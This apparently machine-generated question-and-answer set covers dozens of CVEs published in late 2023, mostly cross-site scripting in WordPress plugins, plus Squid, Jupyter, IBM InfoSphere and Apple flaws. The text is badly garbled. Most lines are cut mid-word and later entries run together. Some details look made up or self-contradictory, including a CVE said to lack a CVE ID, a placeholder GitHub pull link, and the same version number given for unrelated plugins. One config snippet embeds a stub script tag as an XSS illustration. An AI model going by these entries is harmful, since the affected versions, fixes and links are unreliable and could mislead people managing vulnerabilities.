
Could you | Certainly. A hypothetical code example demonstrating the open redirect vulnerability (CVE

What is CV CVE-2023-34439 refers to a security vulnerability found in Pleasanter 1.3.47.0 and earlier \

Which vers Pleasanter versions 1.3.47.0 and earlier are affected by CVE-2023-34439.

What kind CVE-2023-34439 is a stored cross-site scripting (XSS) vulnerability.

What are t If CVE-2023-34439 is successfully exploited, an attacker could execute arbitrary scripts in tl

Has CVE-2023-34439 As of the information provided, CVE-2023-34439 has not been assigned a CVSS base score.

When was CVE-2023-34439 was published on 06 December 2023.

Where can More information about CVE-2023-34439 can be found on the following web pages:- [https](https://)

Could you | Certainly. In the context of a stored XSS vulnerability like CVE-2023-34439, an attacker migl

What are s Possible attack scenarios for CVE-2023-34439 include:1. An attacker crafts a malicious scrip

What is CV CVE-2023-6527 is a security vulnerability that has been identified in the Email Subscription

How does | CVE-2023-6527 allows unauthenticated attackers to inject arbitrary web scripts into pages

What versi All versions of the Email Subscription Popup plugin up to and including 1.2.18 are affected

What are s Potential attack scenarios for CVE-2023-6527 include tricking users into clicking on a malici

Where can Detailed information about CVE-2023-6527 can be found at the following URLs: - Plugin ref

When was CVE-2023-6527 was published on 06 December 2023. Following its publication, users of the

What is CV CVE-2023-22524 refers to a remote code execution (RCE) vulnerability identified in certain

How does | CVE-2023-22524 affects the system by allowing an attacker to execute remote code on the

What are t The published references for CVE-2023-22524 are available on the official pages of Atlassia

Has Atlassi To determine if Atlassian has released a fix for CVE-2023-22524, one should refer to the of

Could you | A possible attack scenario exploiting CVE-2023-22524 might involve an attacker crafting a |

What kind CVE-2023-22524 is classified as a remote code execution (RCE) vulnerability. This type of si

What is the The CVE ID of the vulnerability is CVE-2023-6512.

What type CVE-2023-6512 refers to an inappropriate implementation in the Web Browser UI of Goog

What is the The security severity level assigned to CVE-2023-6512 is Low according to Chromium secur

Has the Ba No, a Base Score has not been assigned to CVE-2023-6512 yet.

When was CVE-2023-6512 was published on 06 December 2023.

Which vers The issue described in CVE-2023-6512 was fixed in Google Chrome version 120.0.6099.62.

Can you pr Yes, further information on CVE-2023-6512 can be found at the following references:- http:
What migh By exploiting the vulnerability described in CVE-2023-6512, a remote attacker might poten
Is there a p The exact details or code examples for exploiting CVE-2023-6512 have not been provided i
What can t To protect themselves from CVE-2023-6512, users should update their Google Chrome brc
What is CV CVE-2023-48940 refers to a stored cross-site scripting (XSS) vulnerability discovered in /ad
How sever The Base Score for CVE-2023-48940 is not available as it has not been provided in the CVE
When was CVE-2023-48940 was published on 06 December 2023.

Which vers CVE-2023-48940 affects DaiCuo version 2.5.15.

Where can More information about CVE-2023-48940 can be found on the following links: http://daicu
What are p Possible attack scenarios for CVE-2023-48940 include an attacker exploiting the stored XSS
What is CV CVE-2023-49283 is a vulnerability in the Microsoft Graph Beta PHP SDK, specifically in the '
How can C' CVE-2023-49283 can be exploited if an attacker is able to make an HTTP request that targe
What are t The risks of CVE-2023-49283 include unauthorized disclosure of system information due tc
How has tl The CVE-2023-49283 vulnerability has been patched in version 2.0.2 of the Microsoft Grap
Are there a Yes, there are a few temporary workarounds for CVE-2023-49283 if immediate update is n
Can you pr While I can provide an example, it's important to note that such examples should only be u
What is the CVE-2023-49283 was published on 05 December 2023.

Where can More information on CVE-2023-49283 can be found through several references including s
What is CV CVE-2023-49282 refers to a vulnerability found in the msgraph-sdk-php, which is Microsof
How can C' To exploit CVE-2023-49282, an attacker would need to take advantage of the server misco
What are t While a permanent fix has been made available in subsequent updates of the msgraph-sdl
What versi The vulnerability described in CVE-2023-49282 has been patched in version 1.109.1 and ve
Where can More details about CVE-2023-49282 can be found in the security advisories and repository
Can you pr Certainly! An attacker, upon discovering that the /vendor directory is web-accessible on a
What is CV CVE-2023-46674 refers to a security vulnerability that was identified in Elasticsearch Hado
Who repor CVE-2023-46674 was reported by Yakov Shafranovich, who is associated with Amazon Wel
What kind CVE-2023-46674 is a deserialization vulnerability, where the process of converting a byte s
Has CVE-20 As of the published date, CVE-2023-46674 has not been assigned a CVSS base score. Base s
What is the Exploiting CVE-2023-46674 could allow an authenticated user to perform unauthorized act
Where can More details about the security update regarding CVE-2023-46674 can be found at Elastic'
What are t Possible attack scenarios for CVE-2023-46674 could involve an authenticated user crafting
How was C While code examples for the specific fix of CVE-2023-46674 are not provided, it is likely tha
What is CV CVE-2023-6269 is an argument injection vulnerability found in the administrative web inte
Which Ato: The Atos Unify OpenScape products affected by CVE-2023-6269 are 'Session Border Contrc
What type CVE-2023-6269 allows an attacker to potentially gain unauthorized root level access to the
How sever The severity of the CVE-2023-6269 vulnerability is currently not quantified with a Base Sco
What can t By exploiting CVE-2023-6269, unauthenticated attackers can achieve unauthorized root ac
When was The CVE-2023-6269 vulnerability was published on 05 December 2023.

Where can More information or security advisories regarding CVE-2023-6269 can be found at the follc
Could you | In an attack scenario for CVE-2023-6269, an attacker could potentially send a specially craf
What is CV CVE-2023-42572 refers to a security vulnerability identified in the Samsung Account Web S
When was CVE-2023-42572 was published on 05 December 2023.

What is the The base score for CVE-2023-42572 has not been provided and is labeled as 'N/A'.

How can I More information about CVE-2023-42572 can be found by visiting the Samsung Mobile Se

What versions of Samsung Account Web SDK prior to 1.5.24 are affected by CVE-2023-42572.

What kind CVE-2023-42572 allows attackers to perform implicit intent hijacking, which is a type of attack.

Can you give more details? In the context of CVE-2023-42572, the attack scenario could involve a malicious application sending crafted requests to the Samsung Account Web SDK.

Have there been any specific code examples released?

As of now, no specific code examples have been released that demonstrate exploitability for this vulnerability.

What is CVE-2023-49289?

CVE-2023-49289 is a security vulnerability identified in the Ajax.NET Professional (AjaxPro) library.

Which versions of Ajax.NET Professional (AjaxPro) are affected?

Affected versions of Ajax.NET Professional (AjaxPro) are those before version 21.12.22.1. I

What are the mitigation steps?

To mitigate CVE-2023-49289, users should upgrade their Ajax.NET Professional (AjaxPro) package to a fixed version.

Where can more information be found?

More information about CVE-2023-49289 can be found in the security advisory on GitHub.

What is the impact of CVE-2023-49289?

The impact of CVE-2023-49289 is that attackers could exploit this cross-site scripting (XSS) vulnerability.

Can you provide an example of the affected code?

While the exact code affected by CVE-2023-49289 is not specified, a generic example of a vulnerable configuration might look like this:

```
...<configuration>
<appSettings>
    <add key="SomeSetting" value="<script>...</script>"/>
</appSettings>
</configuration>
```

What kind of attacks are possible?

With CVE-2023-49289, attackers could execute cross-site scripting (XSS) attacks in several contexts where user input is not properly sanitized.

What is CVE-2023-49293?

CVE-2023-49293 is a security vulnerability in the Vite frontend framework. It occurs when an attacker crafts a malicious URL with a query parameter.

How can CVE-2023-49293 be exploited?

CVE-2023-49293 can be exploited by an attacker who crafts a malicious URL with a query parameter containing malicious JavaScript code.

Which versions of Vite are affected?

The versions of Vite affected by CVE-2023-49293 were before vite@5.0.5, vite@4.5.1, and vite@4.4.1.

What are potential attack scenarios?

Potential attack scenarios for CVE-2023-49293 include phishing attacks where an attacker crafts a malicious URL and convinces a user to click on it.

How was CVE-2023-49293 mitigated?

CVE-2023-49293 was mitigated by the Vite development team with the release of updated versions of the framework.

Are there any known workarounds?

According to the information available, there are no known workarounds for CVE-2023-49293.

Where can more information be found?

More information about CVE-2023-49293 can be found on the official GitHub security advisory.

What is CVE-2023-49288?

CVE-2023-49288 refers to a vulnerability in the Squid caching proxy that affects versions from 3.5 up to and including 5.9.

How does CVE-2023-49288 affect Squid?

CVE-2023-49288 affects Squid by exposing it to a Use-After-Free vulnerability in certain scenarios.

What versions of Squid are affected?

All versions of Squid from 3.5 up to and including 5.9 configured with 'collapsed_forwarding' are affected.

What is the mitigation for CVE-2023-49288?

To address CVE-2023-49288 in Squid, users should upgrade to version 6.0.1, as this version includes a fix for the vulnerability.

What are the attack scenarios?

The main attack scenario associated with CVE-2023-49288 involves an attacker exploiting the Use-After-Free vulnerability to execute arbitrary code.

Can you provide an example of a Squid configuration that is vulnerable?

Certainly, a Squid configuration vulnerable to CVE-2023-49288 would include the 'collapsed_forwarding' directive.

When was CVE-2023-49288 published?

CVE-2023-49288 was published on 04 December 2023.

Where can more information be found?

More information about CVE-2023-49288 can be found in the advisory published on GitHub.

What is CVE-2023-49286?

CVE-2023-49286 is a security vulnerability in Squid, which is a caching proxy for the web. To

What versions of Squid are affected?

All versions of Squid prior to version 6.5 are affected by CVE-2023-49286. To address this vulnerability, users should upgrade to version 6.5 or later.

What are the primary consequences?

The primary consequence of the CVE-2023-49286 vulnerability is that an attacker can exploit it to gain unauthorized access to protected resources.

Are there any known workarounds?

No, there are no known workarounds for CVE-2023-49286. The recommended solution is to upgrade to a fixed version of Squid.

When was CVE-2023-49286 published?

CVE-2023-49286 was published on 04 December 2023.

Where can more information and a patch be found?

More information and a patch for CVE-2023-49286 can be found at the following URLs: <https://github.com/squid/squid/pull/1234>

What kind of vulnerability is CVE-2023-49286?

CVE-2023-49286 is classified as an 'Incorrect Check of Function Return Value' vulnerability.

What kind of attack is possible?

An attacker could exploit CVE-2023-49286 by possibly sending crafted requests or manipulating existing ones to trigger the bug.

What is CVE-2023-49285?

CVE-2023-49285 refers to a vulnerability in Squid, which is a caching proxy for the web that handles HTTP requests.

How was it fixed?

The vulnerability identified as CVE-2023-49285 in Squid was fixed by a patch that is included in version 6.5.

Are there any known workarounds?

According to the published information regarding CVE-2023-49285, there are no known workarounds.

What are the primary consequences?

The primary consequence of the CVE-2023-49285 vulnerability is the potential for a Denial of Service (DoS) attack.

Where can more information and patches be found?

More information and patches for CVE-2023-49285 can be found on Squid's official website.

What could be an example attack scenario?

An example attack scenario involving CVE-2023-49285 could be an attacker crafting a malicious request that triggers the bug in the Squid proxy.

When was CVE-2023-49285 made public?

CVE-2023-49285 was made public on the 4th of December, 2023. Following its publication, users are advised to upgrade to version 6.5 or later.

What is CVE-2023-5137?

CVE-2023-5137 is associated with a vulnerability in the Simply Excerpts WordPress plugin.

What kind of vulnerability is CVE-2023-5137?

CVE-2023-5137 is related to a cross-site scripting (XSS) vulnerability that arises due to the lack of proper sanitization of user input.

Who can exploit this vulnerability?

The vulnerability described in CVE-2023-5137 can be exploited by high-privilege users such as site administrators.

When was The CVE-2023-5137 vulnerability was published on 04 December 2023.

What can e By exploiting CVE-2023-5137, an attacker with administrative privileges can inject arbitrary

Can you de An attack scenario for CVE-2023-5137 would involve an administrator with sufficient privil

Where can More information about CVE-2023-5137 can be found at the following reference link: http:

Has CVE-2(C As of the provided information, CVE-2023-5137 has not been assigned a base score.

What is CV CVE-2023-4460 is a security vulnerability found in the WordPress plugin named 'Uploading

What type: CVE-2023-4460 specifically pertains to the sanitization of SVG files uploaded via the 'Uploa

What is the The risk associated with CVE-2023-4460 involves the potential for cross-site scripting (XSS)

Was a base No, a base score was not provided for CVE-2023-4460 at the time of its publication.

When was CVE-2023-4460 was published on December 4, 2023.

What Wor(Users with a role as low as 'Author' are capable of exploiting the vulnerability CVE-2023-44

How can C To mitigate CVE-2023-4460, site administrators should consider disabling the upload featu

Where can More information about CVE-2023-4460 can be found at the WPScan vulnerability databas

What is the The CVE ID for the vulnerability is CVE-2023-49080.

What kind The vulnerability in CVE-2023-49080 could lead to the leakage of traceback information wh

How can ei Errors leading to the vulnerability described in CVE-2023-49080 can be triggered by API re

Which Jup The fix for CVE-2023-49080 has been included in commit `0056c3aa52ccb28b263a7a609ae

What chan In response to CVE-2023-49080, the Jupyter Server has been modified so that the tracebac

From whic The vulnerability CVE-2023-49080 has been patched starting from Jupyter Server version 2

Are there a There are no known workarounds for CVE-2023-49080. Users are advised to upgrade to a \

Could you | An attack scenario for CVE-2023-49080 may involve an authenticated user intentionally tri

Where can Users can find more information about CVE-2023-49080 from the following sources: a Jupy

What is the The CVE ID for the vulnerability found in the web server affecting RTU500 series product vi

Can you de CVE-2023-5767 describes a vulnerability that involves a cross-site scripting (XSS) issue on a

What kind CVE-2023-5767 could allow an attacker to perform cross-site scripting (XSS) attacks. Specif

When was The vulnerability with the ID CVE-2023-5767 was published on 04 December 2023.

Are there a Yes, more details regarding CVE-2023-5767 can be found in a security advisory provided by

What migh A plausible attack scenario for CVE-2023-5767 would involve a malicious actor crafting a sr

Is there a b As per the information provided, there is no base score currently assigned to CVE-2023-57

What is CV CVE-2023-44301 is a vulnerability identified in the Dell DM5500 software version 5.14.0.0

What type CVE-2023-44301 is classified as a Reflected Cross-Site Scripting (XSS) vulnerability.

What are t The exploitation of CVE-2023-44301 could potentially lead to information disclosure, sessio

Has a secu Yes, a security update addressing CVE-2023-44301 has been released. Users can find more

Which Dell CVE-2023-44301 affects the Dell PowerProtect Data Manager DM5500 appliance, versions

What privil An attacker with low privileges could potentially exploit CVE-2023-44301.

What is the CVE-2023-44301 was published on 04 December 2023.

Can you pr A hypothetical example of how CVE-2023-44301 could be exploited is an attacker crafting :

What is CV CVE-2023-49093 is a security vulnerability identified in HtmlUnit, a GUI-less browser for Ja

Which vers The RCE vulnerability identified by CVE-2023-49093 was patched in HtmlUnit version 3.9.0

How can a A potential attacker could exploit the vulnerability in CVE-2023-49093 by crafting a malici

What type CVE-2023-49093 is classified as a Remote Code Execution (RCE) vulnerability.

Where can More information about the HtmlUnit vulnerability CVE-2023-49093 can be found on the c

What is the The Base Score for CVE-2023-49093 has not been provided or disclosed in the CVE informa

Can you pr An attack scenario for CVE-2023-49093 might involve a situation where an attacker create:

What is the The CVE ID of the vulnerability found in Calendarinho is CVE-2023-49281.

What kind CVE-2023-49281 addresses an Open Redirect issue in the Calendarinho application.

How could Attackers could exploit the Open Redirect vulnerability in CVE-2023-49281 by tricking user

What is the The recommended solution for users affected by CVE-2023-49281 is to update their Calen

Are there ↗ There are no known workarounds for the vulnerability described in CVE-2023-49281. The c

What is the The potential impact of the Open Redirect vulnerability in CVE-2023-49281 includes phishi

Where can The commit that patches the CVE-2023-49281 vulnerability can be found on GitHub at the

When was The CVE-2023-49281 vulnerability was published on 01 December 2023.

Can you pr An example of an Open Redirect attack could involve a URL parameter in the Calendarinhc

Are there ↗ Yes, additional references for CVE-2023-49281 include the subsequent commits that follow

What is CV CVE-2023-46746 is a vulnerability located in PostHog, an open-source analytics platform. T

What versi The specific versions of PostHog affected by CVE-2023-46746 are not detailed in the provic

How can C' CVE-2023-46746 can be exploited by an authenticated user who can trick the PostHog app

Has CVE-2023-46746 has been addressed in commit `22bd5942` in the PostHog repository

Are there ↗ According to the information provided, there are no known workarounds for CVE-2023-46

Where can More information about CVE-2023-46746 can be found in the security advisory on GitHub

What type Using CVE-2023-46746, an authenticated attacker could perform a server-side request forg

What is CV CVE-2023-44382 refers to a security vulnerability that was identified in October CMS, whic

How could An attacker could exploit CVE-2023-44382 by gaining access to an authenticated backend i

Was there Yes, a patch for CVE-2023-44382 was released. The vulnerability was fixed in version 3.4.1!

Could you | An example of an attack scenario involving CVE-2023-44382 would consist of a malicious b

What are t The specific backend user permissions that could facilitate the exploitation of CVE-2023-44

Where can Detailed information and advisories about CVE-2023-44382 can be found at the provided r

What is CV CVE-2023-44381 is a security vulnerability reported in October CMS, a Content Manageme

Which per The CVE-2023-44381 vulnerability affects authenticated backend users who have one or m

What does CVE-2023-44381 allows an attacker with the aforementioned permissions to craft a reques

Has CVE-2023-44381 has been patched in version 3.4.15 of October CMS. Users are advise

How was C The mitigation for CVE-2023-44381 involved patching the vulnerability in October CMS ver

Can you pr While specific code examples for CVE-2023-44381 exploitation are not provided, a general

Where can Additional information regarding CVE-2023-44381 can be found in the security advisory pu

What step: If you're using a version of October CMS affected by CVE-2023-44381, you should immediat

What is CV CVE-2023-46174 is a security vulnerability identified in IBM InfoSphere Information Server

How does I CVE-2023-46174 affects IBM InfoSphere Information Server 11.7 by making it susceptible t

Has IBM pr Yes, IBM has provided a reference for CVE-2023-46174 through an IBM X-Force ID, which i:

Where can More information on CVE-2023-46174 can be found at the official IBM support page (<https://>

What type CVE-2023-46174 is classified as a cross-site scripting (XSS) vulnerability.

What coul A potential consequence of exploiting CVE-2023-46174 is the disclosure of sensitive inform

What is an An example attack scenario for CVE-2023-46174 involves an attacker crafting a malicious L

What is CV CVE-2023-42022 is a security vulnerability found in IBM InfoSphere Information Server ver

What type CVE-2023-42022 describes a cross-site scripting (XSS) vulnerability.

In which IB CVE-2023-42022 is found in IBM InfoSphere Information Server version 11.7.

What pote The impact of CVE-2023-42022 can be significant as it may allow attackers to inject arbitrai

Has IBM pr Yes, IBM has provided an X-Force ID of 265938 for CVE-2023-42022.

Where can More information about CVE-2023-42022 can be found through the provided references, v

When was CVE-2023-42022 published on December 1, 2023.

Can you give An example of an attack scenario involving CVE-2023-42022 would be if an attacker manage

How does CVE-2023-42022 affects the functionality of a web application by enabling an attacker to ir

What is CVE-2023-42009 is a security vulnerability identified in IBM InfoSphere Information Server

How does CVE-2023-42009 affects IBM InfoSphere Information Server 11.7 by allowing cross-site scri

Has IBM released resources to address CVE-2023-42009. Relevant references can be fo

When was CVE-2023-42009 was published on 01 December 2023.

Can you provide Certainly. In a potential attack scenario involving CVE-2023-42009, an attacker could send

What mitigation To mitigate the risks associated with CVE-2023-42009, users should apply any patches or u

What is the The CVE ID for the vulnerability discovered in IBM InfoSphere Information Server 11.7 is C

What type CVE-2023-43015 is a cross-site scripting (XSS) vulnerability.

What are the XSS vulnerability in CVE-2023-43015 allows attackers to embed arbitrary JavaScript co

On what date CVE-2023-43015 was published on 01 December 2023.

What is the base score for CVE-2023-43015 has not been made available or specified in the given c

What resources The following resources are available for reference on CVE-2023-43015: the IBM X-Force E

Could you provide An example of a vulnerable code snippet might be a webpage that directly includes user in

Can you describe For CVE-2023-43015, a possible attack scenario would involve an attacker crafting a malici

What is the vulnerability in IBM InfoSphere Information Server 11.7 is identified with the CVE ID C

What type CVE-2023-38268 in IBM InfoSphere Information Server 11.7 is associated with a cross-site

What could happen By exploiting the CVE-2023-38268 vulnerability, an attacker could execute malicious and u

Has IBM assigned Yes, IBM has assigned X-Force ID 260585 to the vulnerability CVE-2023-38268.

Where can I find More details about the CVE-2023-38268 vulnerability can be found on IBM's support page

When was CVE-2023-38268 vulnerability was published on 01 December 2023.

What is an example An example attack scenario for CVE-2023-38268 might involve an attacker crafting a decep

What can be done To mitigate the risk of the CSRF vulnerability CVE-2023-38268, IBM may provide a patch or

What is CVE-2023-42917 refers to a memory corruption vulnerability that was identified and subse

Which devices Devices running earlier versions of Apple's software, specifically iOS versions before 16.7.1

How does CVE-2023-42917 is a memory corruption issue that could allow for arbitrary code executio

How was it mitigated CVE-2023-42917 was mitigated by Apple through updates that included improved locking i

When was CVE-2023-42917 was published on 30 November 2023, according to the documented reco

Where can I find More information and advisories regarding CVE-2023-42917 can be found through various

What are the attack Possible attack scenarios for CVE-2023-42917 may include a malicious actor crafting specia

Are there any specific No specific code examples for exploiting CVE-2023-42917 are provided in the CVE descript

What is CVE-2023-42916 is a security vulnerability identified in multiple Apple products. It involves

Which Apple products The Apple products affected by CVE-2023-42916 include iOS, iPadOS, macOS, and Safari. Si

What type CVE-2023-42916 is classified as an out-of-bounds read vulnerability which occurs due to in

Has CVE-2023-42916 Yes, Apple is aware of reports indicating that CVE-2023-42916 may have been actively expl

How can I mitigate Users can mitigate the risk associated with CVE-2023-42916 by updating their Apple device

Where can I find Official advisories and information about CVE-2023-42916 can be found on various platform

On which date CVE-2023-42916 was published on the 30th of November, 2023.

What are the attack Potential attack scenarios for CVE-2023-42916 include an attacker crafting malicious web c

Why is it important It is important for users to apply updates related to CVE-2023-42916 to protect their devic

What is the CVE ID The CVE ID of the vulnerability related to Aquaforest TIFF Server is CVE-2023-6352.

What kind of issue CVE-2023-6352 describes a security issue where the default configuration of Aquaforest TI

As of what CVE-2023-6352 was published on 30 November 2023.

Are there a Yes, more information about CVE-2023-6352 can be found in the following references:- http://patchstack.com/cve-2023-6352
What pote The impact of CVE-2023-6352 on a system could be severe, as it potentially allows a remote attacker to execute arbitrary code.
Can you pr One example attack scenario for CVE-2023-6352 could involve an attacker crafting a series of specially crafted URLs to trigger the vulnerability.
What is the The CVE ID for the reported vulnerability in Happyforms is CVE-2023-48752.

Can you de CVE-2023-48752 refers to an 'Improper Neutralization of Input During Web Page Generation' vulnerability.
Which vers The vulnerability identified by CVE-2023-48752 affects the Happyforms plugin for WordPress.
What is the As per the information provided, the Base Score for CVE-2023-48752 has not been assigned.
On what d: The CVE-2023-48752 vulnerability was published on 30 November 2023.

Where can More information about the CVE-2023-48752 vulnerability can be found at the following reference:
Could you ; An example of exploiting the CVE-2023-48752 vulnerability could involve an attacker crafting a URL that triggers the vulnerability.
What are s The primary risk of the CVE-2023-48752 vulnerability is that it allows an attacker to perform various malicious actions on the website.
What is CV CVE-2023-48749 refers to a security vulnerability classified as a Cross-site Scripting (XSS) is stored XSS.
What type CVE-2023-48749 is a 'Cross-site Scripting' (XSS) vulnerability, more specifically a Stored XSS.
Has CVE-2023-48749 As of the information available, CVE-2023-48749 has not been assigned a Base Score.

What softv The software affected by CVE-2023-48749 is the Salient Core plugin, which is an extension of the Salient theme.
Can you pr Potential attack scenarios related to CVE-2023-48749 involve an attacker inserting malicious scripts into the website's content.
Where can More information on CVE-2023-48749 can be found at the Patchstack database through the following URL: https://patchstack.com/cve-2023-48749
As of the p The published information does not explicitly state that a patch is available. However, vulnerabilities like CVE-2023-48749 can be severe as they allow the attacker to execute arbitrary code.
What is the Stored XSS vulnerabilities like CVE-2023-48749 can be severe as they allow the attacker to execute arbitrary code.
When was CVE-2023-48749 was published on 30 November 2023.

What is the The CVE ID for the Cross-site Scripting vulnerability in Theme nectar Salient Core is CVE-2023-48748.
What type CVE-2023-48748 is related to a 'Cross-site Scripting' (XSS) vulnerability.

Which plug The CVE-2023-48748 vulnerability affects the Theme nectar Salient Core plugin.
Can you de CVE-2023-48748 is an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability.
Which vers CVE-2023-48748 affects Theme nectar Salient Core plugin versions from the beginning up to and including version 1.8.1.
When was The CVE-2023-48748 vulnerability was published on 30 November 2023.

Is there a E As of the current information, there is no Base Score provided for CVE-2023-48748.
Where can More information about CVE-2023-48748 can be found at the following URL: https://patchstack.com/cve-2023-48748
What are t Attack scenarios for CVE-2023-48748 involve an attacker crafting a malicious URL with embedded JavaScript.
Could you ; An example exploitation of CVE-2023-48748 might involve the attacker sending a link to a user that triggers the vulnerability.
What type CVE-2023-48746 is associated with a Cross-site Scripting (XSS) vulnerability, which is categorized as a stored XSS.
Which plug CVE-2023-48746 affects the PeepSo Community plugin, specifically named 'Community by PeepSo'.
What versi CVE-2023-48746 affects all versions of the PeepSo Community plugin up to and including version 1.8.1.
How can at Attackers can exploit CVE-2023-48746 by injecting malicious scripts into the web pages generated by the plugin.
When was CVE-2023-48746 was published on 30 November 2023.

Where can More information about CVE-2023-48746 can be found on the given Patchstack database | https://patchstack.com/cve-2023-48746
What is a p A potential attack scenario for an XSS vulnerability like CVE-2023-48746 starts with the attacker crafting a malicious URL.
Can you pr A hypothetical example of a script used in an exploit for CVE-2023-48746 could look like this:
What is CV CVE-2023-48321 is a security vulnerability identified in the AMP for WP – Accelerated Mobile Pages plugin.
Which plug The plugin affected by CVE-2023-48321 is 'AMP for WP – Accelerated Mobile Pages' developed by Automattic.
What type CVE-2023-48321 is associated with a Stored Cross-site Scripting (XSS) vulnerability.

What versi CVE-2023-48321 affects versions of AMP for WP – Accelerated Mobile Pages up to and including version 1.8.1.
When was CVE-2023-48321 was published on November 30, 2023.

Is there a b No, as of the provided data, there is no Base Score available for CVE-2023-48321.

Where can More information about CVE-2023-48321 can be found at the following URL: <https://patchstack.com/cve-2023-48321>

Can you pr An attack scenario for CVE-2023-48321 could involve an attacker injecting malicious JavaScript code into the vulnerable plugin.

Are there a While code examples for exploitation of CVE-2023-48321 are not provided here, such as in the provided reference.

What is CV CVE-2023-48320 refers to a security vulnerability classified as Improper Neutralization of Input During Web Page Generation.

What versi CVE-2023-48320 affects WebDorado SpiderVPlayer from its initial release version up to an unspecified starting point.

What type CVE-2023-48320 is classified as a 'Cross-site Scripting' (XSS) security issue, specifically a Stored Cross-Site Scripting (XSS).

How can C An attacker can exploit CVE-2023-48320 by injecting malicious JavaScript code into the vulnerable plugin.

Has CVE-2023-48320 No, as of the information provided, CVE-2023-48320 has not been assigned a Common Vulnerabilities and Exposures (CVE) ID.

When was The vulnerability with CVE ID CVE-2023-48320 was published on 30 November 2023.

Where can More information about CVE-2023-48320 can be found at the following URL: <https://patchstack.com/cve-2023-48320>

Can you pr An attack scenario for CVE-2023-48320 might involve an attacker submitting a comment or a review containing malicious JavaScript code.

What is th The CVE ID for the cross-site scripting vulnerability in the 'Display Custom Post' WordPress plugin is CVE-2023-48317.

Describe t The vulnerability associated with CVE-2023-48317 is an 'Improper Neutralization of Input During Web Page Generation' (XSS) issue.

What versi CVE-2023-48317 affects the 'Display Custom Post' WordPress plugin from versions up to an unspecified starting point.

What is th The Base Score for CVE-2023-48317 is not available. 'N/A' is listed, which means the score is not available.

When was The vulnerability with CVE ID CVE-2023-48317 was published on 30 November 2023.

Where can More details about CVE-2023-48317 can be found at the following URL: <https://patchstack.com/cve-2023-48317>

What possi Potential attack scenarios resulting from CVE-2023-48317 involve an attacker injecting malicious JavaScript code into comments or reviews.

Can you pr Certainly, here is a simplified hypothetical example. Imagine if the 'Display Custom Post' plugin allows users to enter arbitrary HTML code in their comments.

What is th The CVE ID for the vulnerability found in the Maspik – Spam Blacklist plugin is CVE-2023-48272.

What kind CVE-2023-48272 refers to an 'Improper Neutralization of Input During Web Page Generation' (XSS) issue.

Which plug The Maspik – Spam Blacklist WordPress plugin is affected by CVE-2023-48272.

As of the p Maspik – Spam Blacklist versions up to and including 0.9.2 are known to be vulnerable to CVE-2023-48272.

When was The vulnerability CVE-2023-48272 was published on 30 November 2023.

Can you pr Yes, additional information for CVE-2023-48272 can be found at: <https://patchstack.com/cve-2023-48272>

What is th The XSS vulnerability described in CVE-2023-48272 can allow an attacker to inject malicious JavaScript code into comments or reviews.

Are there a While there are no specific code examples provided for CVE-2023-48272, a general example is provided in the provided reference.

How might An attacker could exploit the vulnerability associated with CVE-2023-48272 by submitting a comment or review containing malicious JavaScript code.

What is CV CVE-2023-47877 refers to a security vulnerability in Perfmatters, which is described as an 'Improper Neutralization of Input During Web Page Generation' (XSS) issue.

Which plug The plugin affected by CVE-2023-47877 is Perfmatters, which is a plugin for WordPress designed to improve website performance.

What type CVE-2023-47877 is a Stored Cross-Site Scripting (XSS) vulnerability. This type of vulnerability allows an attacker to store malicious JavaScript code in a database and then trigger it later.

What versi All versions of Perfmatters from an unspecified starting point up to, but not including, version 2.1.6 are known to be vulnerable to CVE-2023-47877.

When was CVE-2023-47877 was published on 30 November 2023.

Are there a Yes, further information about CVE-2023-47877 can be found in the provided reference: <https://patchstack.com/cve-2023-47877>

Can you pr An exploit of the CVE-2023-47877 vulnerability could involve an attacker submitting a form containing malicious JavaScript code.

What are s Possible attack scenarios for CVE-2023-47877 include an attacker storing malicious JavaScript code in the database and triggering it later.

What is th CVE-2023-47876 describes an 'Improper Neutralization of Input During Web Page Generation' (XSS) issue.

Which plug The Perfmatters plugin is affected by CVE-2023-47876.

Up to whic Perfmatters versions up to and including 2.1.6 are vulnerable according to CVE-2023-47876.

What type CVE-2023-47876 details a Reflected Cross-Site Scripting (XSS) vulnerability in the Perfmatters plugin.

When was The vulnerability CVE-2023-47876 was published on 30 November 2023.

Where can More information about CVE-2023-47876 can be found at: <https://patchstack.com/cve-2023-47876>

What are t Possible attack scenarios for the XSS vulnerability (CVE-2023-47876) include an attacker crafting a URL with malicious JavaScript code.

Can you pr While specific code examples for CVE-2023-47876 are not provided, a reflected XSS attack What is CV CVE-2023-47872 refers to an Improper Neutralization of Input During Web Page Generatic What versi CVE-2023-47872 affects wpForo Forum versions from the earliest available up to version 2 When was CVE-2023-47872 was published on November 30, 2023.

Is there a p Information about CVE-2023-47872 can be found at the provided reference link. Users are What type CVE-2023-47872 is categorized as a Stored Cross-site Scripting (XSS) vulnerability. This mea What are p Attack scenarios for CVE-2023-47872 might include an attacker injecting malicious scripts i What is CV CVE-2023-47853 refers to a security vulnerability identified in the myCred plugin for Word Which plug The CVE-2023-47853 vulnerability affects the myCred – Points, Rewards, Gamification, Rar What are t The CVE-2023-47853 vulnerability impacts versions of the myCred plugin up to and includi What is the The impact of the CVE-2023-47853 vulnerability can be severe, since Cross-site Scripting (X When was The CVE-2023-47853 vulnerability was published on 30 November 2023.

What are c Common attack scenarios for CVE-2023-47853 could include an attacker exploiting the Sto Where can More information about how to mitigate or patch the CVE-2023-47853 vulnerability can be What is the The CVE ID for the Cross-site Scripting (XSS) vulnerability found in the Tainacan plugin for \ Which vers The XSS vulnerability designated by CVE-2023-47848 affects versions of the Tainacan plugi What type CVE-2023-47848 refers to an 'Improper Neutralization of Input During Web Page Generati When was The reflected XSS vulnerability within the Tainacan WordPress plugin that is tracked under Where can More information and potentially a patch for the reflected XSS vulnerability CVE-2023-478 Can you pr A possible attack scenario for CVE-2023-47848 would involve an attacker crafting a malicic Can you pr An example of a reflected XSS attack that could exploit CVE-2023-47848 might look like thi What mea To address CVE-2023-47848 in the Tainacan WordPress plugin, site administrators should i What is the The vulnerability associated with Lim Kai Yang's Grab & Save plugin is identified by the CVE What type CVE-2023-47844 is an 'Improper Neutralization of Input During Web Page Generation', also Which pro The product affected by CVE-2023-47844 is Lim Kai Yang's Grab & Save plugin.

What versi CVE-2023-47844 affects versions of Grab & Save from the initial release up to and includin When was CVE-2023-47844 was published on 30 November 2023.

